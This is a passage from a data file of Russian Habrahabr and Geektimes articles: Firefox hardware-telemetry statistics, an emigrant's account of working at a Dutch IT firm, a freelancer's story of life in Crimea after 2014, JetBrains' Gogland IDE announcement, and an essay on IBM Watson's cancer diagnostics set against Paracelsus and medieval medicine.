Подобные отчёты иногда публикуются в открытом доступе. Например, их публикуют Valve и Unity , но там всё-таки представлен довольно специфический срез аудитории — геймеры. Статистика Mozilla даёт гораздо более объективную картину того, на чём работают обычные люди. Большинство пользователей интернета.
Разработчики из Mozilla пишут , что озаботились анализом этой статистики в связи с созданием игровой веб-платформы следующего поколения , над которой они трудятся уже несколько лет. От разработчиков игр часто поступают вопросы — на какое оборудование ориентироваться, на чём сидят обычные пользователи. Результаты статистического исследования позволяют сделать определённые выводы и принять правильные решения.
В большинстве статистических разделов доступны для просмотра более подробные данные по ссылке "More details". Вся статистика собрана у пользователей десктопной версии браузера Firefox через систему телеметрии . Разрешение экрана
В первую очередь посмотрим на разрешение экрана. Самым популярным разрешением долгое время остаётся 1366×768 пикселей, с большим отрывом от всех остальных разрешений. На сегодня с таким разрешением работают 32,54% компьютеров.
На втором месте 1920×1080 (17,90%).
У остальных разрешений доля меньше 9%.
Статистика Mozilla собирается с марта 2016 года. За это время доля компьютеров с разрешением 1366×768 пикселей осталась неизменной (было 32,43%), а доля 1920×1080 выросла с 16,87% до 17,90%. Операционная система
Здесь тоже есть два явных лидера: это Windows 7 (44,86%) и Windows 10 (25,67%). Две трети пользователей работают на 64-битных ОС (67,73%), остальные — на 32-битных.
Интересно, что в последние три месяца доля Windows 7 перестала снижаться, а доля Windows 10 перестала расти. Вероятно, сказалось прекращение маркетинговых акций Microsoft, которые подталкивали пользователей к апгрейду. По своей воле они это делать не готовы.
«Яблочный» Darwin разных версий занимает 3,38%, 2,08% и 1,19%.
Дистрибутивы Linux, вероятно, скрываются в категории «Другие», которая занимает 0,18%. Возможно, такой результат объясняется какой-то ошибкой в измерениях или составлении репрезентативной выборки.
Firefox по умолчанию собирает телеметрию у пользователей и отправляет в Mozilla на ежедневной основе, если только пользователи не отключат эту функцию .
Возможно, пользователи Linux гораздо более грамотные, чем средняя аудитория Firefox. И они массово отключили сбор данных телеметрии. Или в Linux-версии какой-то глюк и телеметрия отсутствует . UPD: в комментариях пояснили, что мейнтейнеры дистрибутивов Linux отключают эту функцию или целиком вырезают эти фрагменты кода, поскольку в Linux слежение за пользователями не поощряется. Графика
Более чем на половине компьютеров основная встроенная графика Intel (62,58%). Вторую и третью строчку делят AMD (17,79%) и Nvidia (16,43%).
Среди моделей GPU положительную динамику демонстрирует графика, встроенная в Haswell, Broadwell и Skylake. Доля Sandy Bridge (GT2) снижается. Остальные практически не изменили своих позиций за полгода. Процессор
Четверть пользователей работают на компьютерах с тактовой частотой процессора от 2,3 до 2,69 ГГц (26,41%). Остальные категории отстают довольно существенно: От 2,0 до 2,29 ГГц — 16,44%
От 3,0 до 3,29 ГГц — 14,02%
От 2,7 до 2,99 ГГц — 12,59%
от 3,3 до 3,69 ГГц — 10,55%
От 1,7 до 1,99 ГГц — 9,73%
от 1,5 до 1,69 ГГц — 5,17%
У остальных доли менее 1,24%.
Более двух третей компьютеров работают с двухъядерным процессором (69,24%). Других вариантов гораздо меньше. Например, четырёхъядерных 22,08%, одноядерных — 7,18%. остальных — 1,5% Все эти показатели практически не изменились за полгода. Память
У каждого третьего пользователя установлено 4 ГБ оперативной памяти, доля таких пользователей медленно увеличивается (30,21%). На втором месте — пользователи с 2 ГБ памяти, их доля медленно снижается (18,74%). Флеш
Доступность Flash-плагина для браузера Firefox демонстрирует нисходящий тренд. За полгода она снизилась с 82,19% до 76,86%. Доля снижается медленно, так что флеш по-прежнему остаётся распространённой платформой для игр и других приложений. Средний пользователь
Итак, средняя конфигурация компьютера в интернете на сегодняшний день выглядит так: Операционная система: Windows 7
Разрешение экрана: 1366×768
Процессор с двумя ядрами
Встроенная графическая карта
4 ГБ оперативной памяти или меньше
Похоже, большинству людей просто не нужен апгрейд. | https://geektimes.ru/post/283748/ |
habrahabr | Руководство по выживанию в западной IT компании | ['иммиграция'] |
Приветствую, читатель! Мой предыдущий пост, я уверен, дал достаточно информации, но многие вопросы по переезду и визе остались без ответа, и я хочу это исправить. Я расскажу тебе о процессе... |
Приветствую, читатель! Мой предыдущий пост , я уверен, дал достаточно информации, но многие вопросы по переезду и визе остались без ответа, и я хочу это исправить. Я расскажу тебе о процессе обживания и культурных конфликтах с местными.
Небольшая ремарка: комментарии вКонтакте достаточно… противоречивы. Чтобы не нагружать тебя бесполезной информацией, я хочу тебя предупредить, что это всего лишь мой опыт, и твой будет разниться.
После принятия оффера со мной связалась кадровая служба компании и представитель RHS — коммерческой компании, осуществляющей визовую поддержку.
Для получения MVV визы (3 месячная виза, необходимая для въезда в страну) мне необходимо было предоставить следующие документы: Оригинал свидетельства о рождении с апостилем.
Оригинал свидетельства о регистрации брака с апостилем.
Скан контракта
Скан загранпаспорта
Перевод оригинала п1 и п2 с апостилем, с АПОСТИЛЕМ (да, я ставил апостиль поверх апостиля)
Дополнительно после надо было предоставить подписанный обеими сторонами договор аренды жилья, но уже после въезда для получения BSN (местный номер социального страхования).
Делалось это за мои деньги, но могу тебе сказать, что делать апостиль перевода или документа значительно дешевле, чем делать перевод в Нидерландах (перевод одного документа — 100 евро, апостиль — 3500 рублей). Это долго, но спешить мне было некуда.
Переписка с RHS была довольно неприятным занятием. Отвечали они подолгу (в лучшем случае через сутки, в худшем — через неделю), что значительно усложняло процесс. Доходило до абсурда — падает письмо от RHS, я задаю вопрос в ответном письме через минуту, ответ на вопрос приходит на следующий день. Был ли у сотрудников лимит на количество писем в день или же «вас много, я одна» — я не знаю.
Что также важно, начальная дата действия визы равна стартовому дню в контракте по закону, поэтому «официальная» дата начала у меня была на 3 недели раньше, чем фактическая.
Параллельно с этим я искал жилье, и, читатель — не гнушайся пользоваться услугами местных риэлторов. Их услуги будут стоить тебе дешевле, чем самостоятельно летать в страну, чтобы смотреть квартиры. Квартира нашлась, я въехал, заселился и вместе с RHS зарегистрировался по месту жительства в Gemeente (местный муниципалитет), оформил банковский счет и вышел на работу.
Но все же этот пост о культурном шоке, лени, предосудительности, медлительности и моей борьбе с этим. Первое время.
У меня есть черта характера, что я не раскрываюсь человеку, пока хорошо его не узнаю, но тут это стало проблемой.
Со стены на меня смотрел лозунг компании: «Друзья. Открытость, Честность, Прямота.»
Да, о голландской «честности» можно слагать легенды. В частности, если кому-то есть что сказать, он скажет тебе об этом прямо сейчас, либо в прекрасный день на собрании под названием Feedback Loop — встрече, на которой члены команды дают друг другу оценки по разным критериям, дружно их обсуждают, а «жертве» ничего не остается, как с улыбкой на лице спросить, как ему совершенствовать себя и какие софт скиллы развивать.
Мой первый фидбек пришелся через 2 месяца с начала работы. Я уже достаточно освоился в инфраструктуре, изучил как работает Puppet, дал несколько занятий по Linux нашим ребятам из первой и второй линии поддержки (в их обязанности входит диагностика серверов при алерте от мониторинга). Каково же было мое удивление, когда я увидел 2 и 3 балла из 5 напротив всех критериев (например «насколько этот человек развит технически» и «как много этот человек приносит команде и компании»). Я еле сдержался, чтобы вместо «как я могу стать лучше?» спросить «Какого хрена?! Я выполнил задач на 20 стори поинтов из 40 за последние 2 спринта, чего вам еще надо?!». Выяснилось, что все хорошо, но мне нужно время чтобы разогнаться, а затем все будет совсем супер.
На следующем фидбеке у меня было 4-5 баллов по каждому пункту, что вызвало еще больше вопросов, поскольку мой «вклад» в фирму и команду… не изменился. Практический совет : каким бы проактивным и исполнительным ты ни был, твои коллеги в любом случае в первое время оценят тебя ниже, чем ты думаешь. Не всегда открытые. Не всегда честные.
Ежемесячная демонстрация. Я презентую изменения в новой версии JIRA Software. Я знаю, что в комнате сидят люди, которые по ошибке закрывали спринты раньше положенного и были вынуждены их пересоздавать. Я знаю, что в комнате сидят люди, которые любят бумажные спринт доски. Новая JIRA решала их пожелания и задачи. Я прошу поднять руки тех, кто по ошибке закрывал спринты. Тишина.
Я мог бы проигнорировать это, но от своих открытых и честных коллег я ожидал… открытости. Может им было стыдно признаваться в этом перед остальными командами, может были другие причины — но не портить же мне демо из-за этого! Я указал пальцем на каждого, кто допустил эту досадную ошибку и испортил красивые отчеты и графики своих Product Owner'ов. «Lucky you!» — торжественно произнес я и закрыл, а затем переоткрыл спринт своей команды.
Люди на вопрос о бумажных карточках отвечали уже охотнее, но у меня сложилась репутация… чересчур прямого человека. Практический совет : люди не любят, когда им указывают на их ошибки и затем презентуют решение. При подготовке демо держи в голове, что все хорошо, все работают идеально, но вот еще способ решать задачи еще круче. Эмоциональный аспект
Я не раз доставлял неудобства своим коллегам открытостью, говоря прямо об их ошибках в не самой дружественной манере. Во время обеда один из коллег признался, что открытость это хорошо, но можно быть более дружелюбным. И тут появился дополнительный нюанс — наличие улыбки.
Я не очень улыбчивый человек, и мое «нормальное» выражение лица — отсутствие каких-либо эмоций. Это заставляло моих жизнерадостных и оптимистично настроенных коллег думать, что я вечно чем-то не доволен и зол, в то время как я был либо сконцентрирован на одной задаче, либо голова была забита чем-то посторонним.
Но со временем эта проблема ушла. Нет, я не стал ходить с искусственной улыбкой на лице, но я стал чаще шутить, прикалываться на коллегами (по-доброму), рассказывать русские шутки и здороваться и прощаться рукопожатием с каждым членом команды.
Голландцы в этом плане осведомлены о разницах в культуре разных народностей и с большим интересом относятся к особенностям той или иной национальности. Практический совет : не обязательно ассимилироваться под поведенческую культуру голландцев. Любая мелочь, как дружный крик «Вперед, команда» после утренней планерки позитивно влияет на сплоченность мультикультурной команды. Политический аспект
Мне не повезло быть уверенным, что компания готова практически к любым изменениям. Иными словами, если у тебя есть тулза 1, ты нагуглил тулзу 2, изучил ее и понял, что она может быть лучше и эффективней — далеко не все поддержат твои рвения.
Отдельно стоит отметить, что голландцы (как и любые другие национальности) с большим доверием относятся к своим соотечественникам.
Идет собрание по переводу части продакшона в облако AWS, встает вопрос о управлении конфигурациями. Есть замудренный и «over engineered» Puppet, есть легко осваиваемый Ansible, и идет обсуждение, что использовать в будущем.
Команда А предлагает прекратить инвестировать в Puppet и использовать Ansible для настройки инфраструктуры и деплоя обновлений. Команда B предлагает перетащить всю текущее управление в Puppet и развернуть в облаке мастер сервер. Разница в том, что в команде А опытные инженеры с уже имеющимся опытом эксплуатации AWS, все без исключения экспаты, в то время как в B инженеры (в прошлом веб разработчики), которые ориентируются на свою половину сервисов (команда А отвечает за бэк, а команда В за фронт), но целиком и полностью состоят из местных, которые, к тому же, в фирме очень долго. Не удивительно, что архитекторская группа (так называемые Path Finder'ы) с большим доверием отнеслись к варианту команды В, хотя Puppet становился очень неповоротливым, автоматизировал далеко не все и заставлял иметь в облаке вечной запущенный мастер.
Позже тимлид А сказал мне, что я не смогу «продать» Ansible, если буду идти напролом. Тут мне надо сделать ремарку и откатиться назад на несколько лет В то время, я работал в фирме Х, где отвечал за Cisco UCCX и UCM. В рамках проекта для банка внешний интегратор внедрял систему голосового оповещения для службы коллекторов (когда механический голос звонит тебе и говорит, что ты должен денег). Сроки горели, интеграторы не успевали к своевременной сдаче и рисковали попасть на денежный штраф. Чтобы избежать этого (или по каким-либо другим причинам) они начали переписку, в которой убеждали заказчика, что проблема не в разрабатываемом ими ПО, а в настройке UCCX, при этом не включая меня в переписку. Когда это добралось до моего шефа, он назначил срочную встречу, в которой мне нужно было отстоять свою честь и доказать, что проблем в UCCX нет и быть не может. В общем и целом, у меня было несколько часов, чтобы досконально проверить каждую строчку кода CC, маршрутизацию outbound звонков и интеграцию с внешними сервисами. Я справился, исполнитель сел в лужу, выплатил штраф и выкатил патч через неделю после.
Не смотря на то, что я вышел из проблем с щитом, у меня остался неприятный осадок — люди, которые преследуют те же цели, что и ты, готовы подставить тебя самым неприятным образом.
С тех пор я научился работать с людьми, но ужасно не любил это дело — мало того, я терпеть не мог договариваться.
Вместо этого у меня было два подхода. Если человек был изначально настроен позитивно, то мне нужно было заранее подготовиться ответить на все уточняющие вопросы (в основном они касались безопасности и мониторинга). Но если он не был оптимистичен, то мне приходилось ломать человека, периодически обращаясь к административному ресурсу. Я не горжусь подобным методом, но применять его приходилось, особенно, когда люди не хотели учиться чему-то новому.
Однако я был уверен, что здесь это не сработает и для успешного демо надо приготовить MVP (Minimal Viable Product) и PoC (Proof of Concept). Чтобы убедить людей постепенно пересаживаться на Ansible, я быстренько поднял управляющую машину, задействовал скрипт динамической инвентаризации и показал, что конфигурация веб-сервера Nginx с acl_whitelist и TLS сертфикатом на Ansible может в 2, а то и в 3 раза короче, проще и гибче аналогичной роли в Hiera. Практический совет : какими бы чистыми ни были ваши намерения, им должно быть отличное практическое подтверждение, если вы хотите конкурировать с мнением местного большинства. Жизнь вне офиса
Но хватит о работе. Касательно развлечений Нидерланды довольно дороги (в сравнении с Россией), но не менее интересны. Билет в кино в местную сеть Pathe на очередной блокбастер в 3D обойдется в 15 евро на человека, кафе/ресторан — от 10 до 50 евро (в зависимости от аппетитов). Голландцы очень много пьют (настолько много, что у меня и моих коллег есть 10% в бар рядом с офисом) и абсолютно не соблюдают правила дорожного движения будучи на велосипеде. Я очень часто вижу, как велосипедист ездит «по встречке» и тротуарам (хотя это запрещено), не уступает дорогу пешеходам на зебре.
Публичный транспорт позволяет добраться в любой город. Просто для примера: до города Зутермеер можно доехать на ТРАМВАЕ из Гааги с центрального вокзала. Публичный транспорт дорогой, но есть несколько способов оптимизировать расходы. Я не буду углубляться во все подробности (еще не хватало трэвел блог вести), так что поговорим про ИТ развлечения. Конференции
Компания оплачивает визиты в конференции как на территории Нидерландов, так и за рубежом (но бюджет не бесконечен, так что можно расчитывать максимум на 2-3 конференции в год). Я имел удовольствие посетить O'Reilly Velocity в Амстердаме, а мои коллеги (живые технобоги Powershell'а) присутствовали на Powershell Asia в Сингапуре. В Нидерландах крупные ИТ встречи проходят в среднем несколько раз в год и на них вполне реально попасть даже за свои кровные. Митапы
Те же, кто не готов тратить свои личные средства на дорогостоящие выставки, могут найти свою группу в meetup.com . Так относительно часто организуются встречи любителей втихаря писать на Powershell , Big Data , Java , DevOps и многие многие другие. Выводы
Как я уже сказал, быстренько интегрироваться в новую команду, стать «своим» для всех быстро с наскоку не получится. И я более чем уверен, что у тебя, дорогой читатель, будет свой увлекательный опыт, который я буду рад от тебя услышать. P.S. Это вторая и заключительная часть моего повествования о переезде. Ради личного развития и помощи вам, мои коллеги, я предпочту сконцентрировать свои возможности на статьях технического уклона. Тем не менее, рад ответить на любые вопросы. | https://habrahabr.ru/post/317710/ |
habrahabr | Иммиграция вместе с Крымом в Россию | ['крым', 'иммиграция'] | Увлекшись чтением иммиграций на Хабре, решил рассказать историю одного весьма неординарного переезда из одной страны в другую.
Откуда — куда
Причины иммиграции описывать не буду, точек зрения... | Увлекшись чтением иммиграций на Хабре, решил рассказать историю одного весьма неординарного переезда из одной страны в другую. Откуда — куда
Причины иммиграции описывать не буду, точек зрения на эту тему много, оставим это за рамками статьи, а вот по поводу направления — тут все просто — из Украины в Россию. Хоть и принято писать о страхах и мыслях, которые преследуют покидающих родину, к нашей ситуации это не применимо. Не было особых страхов, не было и сильных надежд, было ощущение, что все происходящее — не реально. Осознание приходило по мере погружения в новую действительность. Процесс иммиграции
«Переезд» занял не менее полугода. Это был странный период, оценить плюсы или минусы нового государства было очень сложно, сложней было только найти работу. Большинство Украинских компаний свернулось и покинуло полуостров, в редких случаях предложив сотрудникам переезд на материк с сохранением должности. Российские компании не торопились занять освободившиеся ниши. Одним словом, жизнь встала на паузу под саундтрек радужных обещаний процветания и счастливого будущего, звучащий со всех региональных и федеральных каналов. Странно, что местные предприниматели теряли время и ждали прихода крупных игроков, не пытаясь занять ниши самостоятельно, тем самым укрепив свои позиции в регионе. Возможно южный — расслабленно-ленивый менталитет не позволял совершать решительных действий. IT-направление
И без того слаборазвитое направление в Крыму попросту погибло как вид. Нет, не заснуло, отключив все потребляющие энергию процессы, а именно погибло. Все кто был причастен к миру IT, стояли перед выбором: уехать в Украину, либо получить гражданство России и отправиться на поиски работы в Краснодар, Ростов и т.д. Отсутствие банковской системы, санкции, мизерное количество вакансий в регионе не позволяло задерживаться дома. Оставались единицы: которых держали семьи или которые работали на фрилансе и смогли адаптироваться к нестабильной банковской системе.
На тот момент я со дня на день должен был стать отцом, да и мое отношение к Крыму не позволяло покинуть родную землю. Первое время перебивался заказами с фриланса, выводя деньги на карту, без возможности их обналичить. Спасали пара заправок в Симферополе и Ашан, который позволял набивать холодильник, оплачивая покупки картой. В остальных магазинах моя карта могла только развеселить продавцов. Приходилось несколько раз дежурить на заправках приставая к клиентам с просьбой оплатить их топливо картой, а наличку забрать себе. Через три-четыре месяца начали открываться представительства Российских банков, что позволило хоть немного выдохнуть.
Вообще не представлял, что смогу работать из дома, но безвыходна ситуация и чувство ответственности перед семьей помогали мне.
Второй крупной проблемой на пути любого фрилансера в Крыму стояло качество и стабильность интернет связи и энергетическая ситуация. Интернет или свет мог пропадать на сутки и это уже переставало удивлять. Каждый раз оговаривая сроки с заказчиком приходилось предупреждать и закладывать пару дней(из расчета на неделю) на случай форс-мажоров. Удивительно, но заказчики из Европы и Америки весьма спокойно относились к моему местоположению. Интересовались ситуацией и принимали выставленные сроки. Мобильная связь в регионе тоже оставляла желать лучшего, но это слабо сказывалось на работе. Регистрация
По поводу официального оформления: получить гражданство и статус ИП получилось в течение месяца после перехода в Россию, благодаря консультациям знакомых из Москвы. В местные налоговые органы обращаться за консультациями было бесполезно, но все процедуры проходили достаточно быстро и безболезненно, чего нельзя было сказать про остальные службы (паспортные столы, ФМС, пенсионный и т.д.), их помещения больше походили на стереотип про американские супермаркеты в черную пятницу. Очереди, давки, крики, драки.
По поводу налоговой системы в целом, если сравнивать, что было и как стало:
Первое, что бросается в глаза — вынужденный выход из тени большинства предприятий. В Украине работать в тени было нормой, фирмы, занимающиеся обналом, разве что не рекламировались по телевизору. Все это знали и всех это устраивало. Пожалуй, вынужденная жизнь по закону и по белому — основной раздражающий фактор для бизнесменов и предпринимателей в Крыму до сих пор.
Второе отличие — это сложности в налогообложении, отчетности и бухгалтерском учете в целом. В Украине была доступная и понятная система единого налога, позволяющая тебе зарегистрироваться Частным Предпринимателем (аналог ИП в России) и уплачивать ежемесячный фиксированный налог 200 гривен (600 руб. по тем временам) независимо от прибыли (ограничивался только годовой доход). Кассовая дисциплина и возможности работать с наличными были значительно проще и лояльней. Адаптация
Прошло уже больше двух лет, многое пришлось перетерпеть, что сейчас уже вспоминаешь с улыбкой, а на тот момент пугало до холодного пота. Знаменитый прошлогодний блэк-аут, когда весь Крым оставался почти месяц без света, уже тогда вызывал лишь легкий дискомфорт, с другой стороны — столько романтических ужинов при свечах, столько времени проведенных с семьей, столько походов в гости не было у Крымчан со дня появления интернета.
Ситуация с IT налаживается, соответствующий раздел вакансий на популярных сайтах уже радует разнообразием. А на должность разработчиков стали нередко откликаться специалисты из других регионов России. Я же на сегодняшний день руководитель небольшой команды разработчиков в Крыму, входящую в состав одной Московской IT-фирмы. PS
Можно как угодно относиться к статусу Крыма, к его проблемам с сервисом и ценами. Для меня Крым всегда был удивительным местом, где ты мог до 18:00 просидеть в офисе, а уже в 19:00 ужинать с семьей на берегу моря. UPD: По просьбе читателей:
При Украине: зарабатывал ~$1500, тратил на съем квартиры $200, на еду+погулять ~$800.
Сейчас: заработок ~$2000, на еду, на семью уходит ~$600 (благодаря оптимизации жены), квартира своя, но по рынку однушка -$400-$500. | https://habrahabr.ru/post/317714/ |
habrahabr | Gogland: Новая Go IDE от JetBrains | ['intellij', 'go', 'golang'] | Привет, Хабр! Три года назад мы приняли стратегическое решение принять участие в разработке go-lang-idea-plugin, опенсорсного проекта, нацеленного на создание IntelliJ-плагина для Go. За эти три... | Привет, Хабр! Три года назад мы приняли стратегическое решение принять участие в разработке go-lang-idea-plugin , опенсорсного проекта, нацеленного на создание IntelliJ-плагина для Go. За эти три года наш вклад (в сумме около 3000 коммитов) помог полностью переписать плагин, сделав его более стабильным, расширяемым и функциональным.
В прошлом году мы начали подсчет количества уникальных пользователей плагина. За год оно выросло вдвое и теперь составляет 30 тысяч активных пользователей в месяц. Это, а также большое количество пользователей, ждущих от нас Go IDE уровня IntelliJ IDEA, вместе убедили нас наконец «форкнуть» go-lang-idea-plugin и создать собственную IDE для Go.
Сегодня мы рады представить вашему вниманию Gogland , новую Go IDE и последнее пополнение семейства IDE на базе платформы IntelliJ! Хотя Gogland находится в активной разработке, сегодня мы начинаем «закрытое» тестирование. Это означает, что у вас есть шанс одними из первых опробовать Gogland. Больше подробностей о Gogland можно узнать на официальном сайте . Также не забудьте ознакомиться с FAQ .
Чтобы получить доступ к закрытому тестированию, заполните форму на сайте .
Gogland — рабочее название; окончательое название IDE будет другим. Если у вас есть идеи названия, присылайте их нам! Команда Gogland www.jetbrains.com/go | https://habrahabr.ru/company/JetBrains/blog/317716/ |
habrahabr | ИИ и диагностика: наследие Парацельса | ['Парацельс', 'ibm watson', 'ibm', 'watson', 'медицина', 'здоровье', 'диагноз'] |
Может ли быть так, что «зима искусственного интеллекта», наступившая в конце 70-х годов прошлого века, на самом деле до сих пор не закончилась, а все коммерческие решения, связанные с... |
Может ли быть так, что «зима искусственного интеллекта», наступившая в конце 70-х годов прошлого века, на самом деле до сих пор не закончилась, а все коммерческие решения, связанные с использованием ИИ, стали жертвой маркетинга, установившего правило: вам гораздо легче продать продукт, если заявите, что он работает на основе искусственного интеллекта? Нечто подобное уже случалось раньше. Классические экспертные системы, ориентированные на текстовый человеко-машинный интерфейс, пережили расцвет в 70–80-х годах прошлого века, а затем скатились в глубокий кризис, из которого так и не вышли. Интересно провести параллели с современными когнитивными системами, имеющими признаки искусственного интеллекта.
Главный успех эры когнитивных вычислений сейчас связывают с деятельностью IBM Watson. Но действительно ли это успех, или попытка выдать желаемое за действительное? Самый суровый враг Источник
Несколько лет назад IBM Watson устойчиво ассоциировался с методами диагностики в медицине, поскольку это было первое направление, в котором суперкомпьютер стали использовать после победы в интеллектуальной передаче «Своя игра». Со временем Watson смог даже отслеживать покемонов в игре Pokemon Go. Сфера применений когнитивной системы IBM широка, но для этой статьи оценим возможности компьютера в области здоровья людей. Здесь у компьютера самые большие достижения.
Ранняя диагностика и выбор метода последующего лечения — одна из самых сложных загадок человечества за всю его историю. И чем выше продолжительность жизни, тем больше проблем со здоровьем вы получаете. 500 лет онкология не считалась насущной проблемой — у каждого было мало шансов просуществовать до появления своего собственного рака. На сегодняшний день рак — одна из главных причин смертности в мире (скажем «спасибо» продолжительности жизни).
Нельзя сказать, что онкология — только «изобретение» 20-го века, связанное с плохой экологией, ядерными испытаниями, консервантами в еде и другими напастями. Рак был известен еще древним грекам, его пытались выявлять и лечить в Средние века, с ним боролись любыми методами, от выжигания железом до молитв.
Изменилось ли что-то в этом суровом состязании, где ставка — человеческая жизнь, с появлением Watson? Безусловно. Но сначала стоит рассказать о схватке, которая была проиграна. Диагностика как метод гадания Анатомия человека, как считалось раньше, имеет прямую связь с зодиакальными созвездиями Источник
IBM Watson может вызывать обоснованные сомнения, ведь в медицине были методы лечения, которые в свое время считались очень эффективными, а теперь кажутся абсурдом. Удивительно, но некоторые из них применялись не так давно, 100–150 лет назад.
Героин от кашля, глазные капли с радиоактивными элементами, якобы способные избавить и от близорукости — медицина знает достаточно примеров научных заблуждений . Иногда нужны десятилетия, чтобы принять новый метод лечения или диагностики. К концу 15-го века образ раненого человека стал популярен в средневековых медицинских учебниках. Он изображает различные способы того, как человек может получить травму Источник
Развитие медицинских знаний раньше замирало на сотни лет. В то время как древние римляне, греки и египтяне двигали вперед медицинские знания, после смерти этих цивилизаций наука перешла в застой и врачебная практика практически не развивалась до конца 17-го века.
Медицина стала погружаться в суеверия, а диагностика перешла в глубокий кризис. Римско-католическая церковь в какой-то момент заявила, что болезни — это наказания от Бога, болеют только грешники, а кто не согласен — еретик (прописано лечение костром).
Врачам приходилось опираться на сомнительные данные. Цвет мочи сравнивали с таблицей положения планет; дисбаланс «жизненных соков» в организме устраняли, чередуя диету, обильное питье, горячую ванну, клизму, рвоту и кровопускание. О, кровопускание — «царь лекарств» — получившее широкое распространение из-за убеждений о том, что часть болезней вызвана переизбытком крови в организме.
Врачи либо сами были астрологами, либо обращались за помощью к специалистам в области оккультных наук. Так, запрещалось делать надрезы вен и сухожилий в области колен людям, родившимся под знаком Козерога. Весам не делали кровопускание из спины. Тельцам не резали шею. У всех знаков были свои особенности.
Соотношения Луны и звезд имели значение для постановки диагноза и выбора правильного лечения. Положение зодиакальных созвездий определяло, в какие дни следует пускать кровь. К концу 1500-х годов врачи по всей Европе были обязаны по закону перед проведением сложных медицинских процедур рассчитывать положение Луны.
Не будем забывать о таком интересном методе лечения как самоистязания, когда бичующий себя человек, подвергая тело страданиям, забирал на себя грехи больного и тем самым исцелял его.
Помните текст « Тысячелетние фичи карт », где можно было отследить, как зарождались картографические приемы и особенности, которыми мы пользуемся до сих пор? С медициной Средних веков — ничего общего. За одним исключением. Лекарства и магия Источник
«Здесь лежит Филипп Теофраст звания Доктор Медицины, что те многие язву, проказу, подагру, водянку и некоторые неизлечимые заразные болезни тела чудесным искусством излечил и распределением и отдачей своего имущества бедных почтил. В год 1541, в 24-й день сентября, сменил жизнь на смерть».
475 лет назад эта надпись появилась на могиле Филиппа Авреола Теофраста Бомбаста фон Гогенгейма более известного как Парацельс. Выдающийся врач, философ, естествоиспытатель, алхимик, астролог и волшебник своего времени. Можете считать, что Парацельс был суперкомпьютером начала эпохи Возрождения.
Даже люди далекие от медицины могли слышать высказывание Парацельса: «Всё есть яд, и ничто не лишено ядовитости; одна лишь доза делает яд незаметным». В упрощенном изложении фраза обычно звучит так: «Всё — яд, всё — лекарство; то и другое определяет доза».
Парацельс полагал, что лекарства по большей части — это яд, но правильная дозировка позволяет воздействовать на источник болезни, а не на симптом. Увлеченный химией, он писал трактаты о правильном лечении с помощью доз ртути, меди, сурьмы, железа, мышьяка. Впоследствии эти труды стали основой фармакологии.
Среди «коллег» Парацельс имел дурную репутацию: он не полагался на сложившиеся веками догматы и стремился к новым знаниям, попутно реформируя всю медицинскую науку. Врач постоянно обновлял свою базу знаний, много путешествовал и общался с хирургами, алхимиками, предсказателями, учеными и даже простыми бродягами.
При всех выдающихся талантах и многочисленных случаях реальных исцелений безнадежно больных, Парацельс ошибался бесчисленное количество раз. Он лечил сифилис, втирая в ноги пациенту ртутную мазь (многим помогало). Прописанные им препараты вызывали отравления. Лекарственные травы, выбранные по оккультным методам, не оказывали никакого эффекта. Он ставил диагнозы больным по тому, как запотевало зеркало при их дыхании на его поверхность, и использовал зеркала для лечения, читая на них заклинания и «уговаривая» темные энергии перейти в отражение пациента.
Парацельс считал, что врач без знания астрологии не в состоянии поставить правильный диагноз больному, а уж тем более, помочь ему. И, наконец, для выяснения причин рака он стал полагаться на алхимию. Парацельс прижигал опухоль каленым железом, а затем исследовал обожженные участки — вот такой метод диагностики.
Почему, несмотря на многочисленные неудачи и смерти, Парацельс вошел в историю, как один из величайших врачей? Потому что он воспринимал неудачи как бесценный опыт, благодаря которому менялась медицинская наука. К счастью, сейчас, чтобы получить новые знания, не нужно рисковать людьми. Но избавлена ли медицина нового времени, в которой постепенно нивелируется человеческий фактор, от бесчисленных ошибок? IBM играет ва-банк Источник
Интеллект машины зависит от того, какие данные в нее загружаются: истории болезней, рентгеновские снимки, результаты КТ / МРТ и многое другое. С тех пор, как Watson стал использоваться для уточнения симптомов и постановки диагноза, а также для борьбы с мошенничеством в медицине (например, неправильно выписанные лекарства, махинации со счетами за медуслуги), IBM потратила более 4 млрд долларов для покупки несколько компаний с огромными запасами медицинских данных.
В бизнес-подразделении Watson сейчас более 10 000 сотрудников, но IBM продолжает делать долгосрочные и чрезвычайно дорогие инвестиции, связывая судьбу всей компании с успехом одного проекта.
И результаты уже есть. IBM Watson извлек и оценил большое количество структурированных и неструктурированных данных из медицинских записей с помощью обработки естественного языка и машинного обучения. Сейчас Watson достаточно точно предоставляет онкологам рекомендации по лечению рака молочной железы, легких, колоректального и некоторых других видов рака.
Для того чтобы ставить настолько точные диагнозы, Watson должен получить от пациентов исчерпывающие ответы, которые могли бы выявить потенциальный источник болезни. Компьютеру нужно знать о вашем детстве, привычках и даже наличии домашних животных.
Watson проходил клиническое испытание на базе нескольких медицинских центров, где работал вместе с группой врачей-онкологов. В одном из центров группа врачей изучила случаи 638 больных раком молочной железы, для которых Watson, основываясь на полученных данных, дал собственные рекомендации по лечению в трех категориях: стандартное лечение, для дальнейшего обсуждения, назначенное лечение не рекомендуется.
В 90% случаев Watson рекомендовал стандартную терапию опухоли, и эти советы совпали с рекомендациями врачей.
Но в отдельных случаях уровень согласованности составлял меньше процентов, и варьировался в зависимости от типа рака. В общем и целом было замечено: чем меньше вариантов лечения признает медицина в отдельных случаях, тем больше у Watson «попаданий» в цель.
В исследовании также сравнили, сколько времени потребовалось для сбора и анализа данных для выработки рекомендаций. В среднем эта процедура занимает 20 минут, когда делается вручную, но при большом опыте работы врача сокращается до 12 минут. Watson же тратил в среднем 40 секунд на одного больного для сбора данных, анализа и рекомендаций по лечению.
Watson, очевидно, не доктор Хаус, но при этом уже сейчас компьютер способен в 18 раз ускорить работу врача.
В Медицинской школе университета в Северной Каролине для Watson подготовили 1000 онкологических диагнозов — и не одного вида, как в примере выше. В 99% случаев Watson смог рекомендовать такие же методы лечения, какие предложили профессиональные онкологи, однако в 30% случаев он также нашел вариант лечения, который врачи пропустили. Некоторые методы лечения были основаны на научно-исследовательских работах, которые врачи просто не успели прочитать — более 160 000 документов по исследованиям рака публикуются каждый год. Другие варианты лечения, возможно, только-только появились в новых клинических испытаниях и онкологи просто не видели подобного текста в интернете.
